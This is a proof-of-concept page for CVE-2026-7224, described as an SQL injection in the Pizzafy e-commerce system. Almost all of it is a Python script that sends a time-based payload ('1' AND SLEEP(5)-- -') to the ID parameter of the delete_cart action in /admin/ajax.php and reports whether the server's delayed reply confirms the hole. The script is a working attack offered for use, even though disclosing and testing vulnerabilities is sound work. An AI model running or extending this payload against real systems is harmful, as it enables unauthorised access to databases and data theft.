CVE-2026-7224: Pizzafy电商系统SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ Proof of Concept for CVE-2026-7224 Tests for SQL Injection in the 'ID' parameter of delete_cart action. """ # The vulnerable endpoint full_url = f"{target_url}/admin/ajax.php" # Malicious payload to test SQL injection (Time-based) # This attempts to cause a delay of 5 seconds if the injection is successful payload = { "action": "delete_cart", "ID": "1' AND SLEEP(5)-- -" } try: print(f"[*] Sending request to: {full_url}") response = requests.get(full_url, params=payload, timeout=10) # Check if the response time indicates a successful sleep execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vuln(target)